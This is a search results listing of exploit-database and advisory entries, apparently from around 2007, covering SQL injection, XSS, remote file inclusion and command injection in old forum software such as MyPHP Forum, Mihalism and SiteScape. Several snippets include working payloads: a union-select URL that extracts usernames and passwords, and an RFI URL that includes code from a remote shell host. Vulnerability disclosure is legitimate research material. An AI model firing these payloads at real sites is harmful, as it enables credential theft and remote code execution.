8133 matches found
MyPHP Forum 3.0 (Final) - Multiple SQL Injections
MyPHP Forum 3.0 Final - Multiple SQL Injections Name : MyPHP Forum So we can execute an sql injection thrught the bugged variable $id. PoC: http://Site/faq.php?action=view&id=-1'+union+select+1,concatusername,0x3a,password,3+from+tableprefixmember+where+uid=1/ Sql injection in member.php So $memb...
MyPHP Forum <= 3.0 (Final) Multiple SQL Injection Vulnerabilities
Exploit for unknown platform in category web applications ================================================================= MyPHP Forum So we can execute an sql injection thrught the bugged variable $id. PoC:...
CVE-2007-6597: Improper Neutralization of Input During Web Page Generation
Multiple cross-site scripting XSS vulnerabilities in IPortalX before Build 033 allow remote attackers to inject arbitrary web script or HTML via the 1 KW and 2 SF parameters to forum/loginuser.asp, and 3 the Date parameter to blogs.asp...
IPTBB 0.5.4 - id SQL Injection
IPTBB 0.5.4 - id SQL Injection --------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg...
PT-2007-7428 · Iportalx · Iportalx
Name of the Vulnerable Software and Affected Versions: IPortalX versions prior to Build 033 Description: The issue concerns multiple cross-site scripting XSS vulnerabilities. These vulnerabilities allow remote attackers to inject arbitrary web script or HTML. The affected API endpoints include...
iptbb-sql.txt
--------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg --------------------------------------------------------------- Remote Sql...
myphp-sql.txt
Name : MyPHP Forum So we can execute an sql injection thrught the bugged variable $id. PoC: http://Site/faq.php?action=view&id=-1'+union+select+1,concatusername,0x3a,password,3+from+tableprefixmember+where+uid=1/ Sql injection in member.php So $member variable isn't controlled so we can exploit i...
MyPHP Forum 3.0 (Final) - Multiple SQL Injections
Name : MyPHP Forum So we can execute an sql injection thrught the bugged variable $id. PoC: http://Site/faq.php?action=view&id=-1'+union+select+1,concatusername,0x3a,password,3+from+tableprefixmember+where+uid=1/ Sql injection in member.php So $member variable isn't controlled so we can exploit i...
Mihalism Multi Forum Host <= 3.0.x Remote File Inclusion Vulnerability
No description provided by source. &nbs...
mihalism-rfi.txt
Mihalism Multi Forum Host = v3.0.x Remote File Inclusion Vulnerability Script Page : http://www.mihalism.com/misc/downloads/ POC : /ScriptPage/source/includes/loadforum.php?mfhrootpath=http://Shell D0rK : Mihalism Multi Forum Host © 2007 GREETZ TO : TrYaG-TeaM , H-T Team , RoMaNcYxHaCkEr ,...
jPORTAL 2.3.1 & UserPatch (forum.php) Remote Code Execution Exploit
Exploit for unknown platform in category web applications =================================================================== jPORTAL 2.3.1 & UserPatch forum.php Remote Code Execution Exploit =================================================================== ? $host = $argv1; $path = $argv2;...
Mihalism Multi Forum Host 3.0.x - Remote File Inclusion
Mihalism Multi Forum Host 3.0.x - Remote File Inclusion Mihalism Multi Forum Host = v3.0.x Remote File Inclusion Vulnerability Script Page : http://www.mihalism.com/misc/downloads/ POC : /ScriptPage/source/includes/loadforum.php?mfhrootpath=http://Shell D0rK : Mihalism Multi Forum Host © 2007...
Mihalism Multi Forum Host <= 3.0.x Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ====================================================================== Mihalism Multi Forum Host = 3.0.x Remote File Inclusion Vulnerability ====================================================================== Mihalism Multi Forum Host =...
Mihalism Multi Forum Host 3.0.x - Remote File Inclusion
Mihalism Multi Forum Host = v3.0.x Remote File Inclusion Vulnerability Script Page : http://www.mihalism.com/misc/downloads/ POC : /ScriptPage/source/includes/loadforum.php?mfhrootpath=http://Shell D0rK : Mihalism Multi Forum Host © 2007 GREETZ TO : TrYaG-TeaM , H-T Team , RoMaNcYxHaCkEr ,...
CVE-2007-6574: Improper Neutralization of Input During Web Page Generation
Multiple cross-site scripting XSS vulnerabilities in Dokeos 1.8.4 and earlier allow remote attackers to inject arbitrary web script or HTML via 1 the origin parameter to work/work.php in a displayuploadform action, or the forum parameter to 2 forum/viewforum.php or 3 forum/viewthread.php...
IPortalX - forumlogin_user.asp Multiple Cross-Site Scripting Vulnerabilities
IPortalX - forumloginuser.asp Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/27044/info iPortalX is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to...
SiteScape Forum dispatch.cgi脚本TCL命令注入漏洞
BUGTRAQ ID: 26963 SiteScape Forum是一款协作解决方案，专用于满足企业、政府和军队中大型和/或分布式团队的通信和程序管理需要。 SiteScape Forum没有正确地处理发送给dispatcher.cgi脚本的某些请求，允许远程攻击者通过提交恶意HTTP请求注入并执行TCL命令。 SiteScape Forum ZX SiteScape Forum ST SiteScape --------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
SiteScape Forum 'dispatch.cgi' Tcl命令注入漏洞
BUGTRAQ ID: 26963 CNCAN ID:CNCAN-2007122406 SiteScape Forum是一款基于CGI的WEB应用程序。 SiteScape Forum不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是由于'dispatch.cgi'脚本对用户提交的WEB参数处理缺少充分过滤，提交包含';'元字符作为参数数据，可导致以WEB权限执行TCL代码。 SiteScape Forum ZX SiteScape Forum ST 升级到最新版本：...
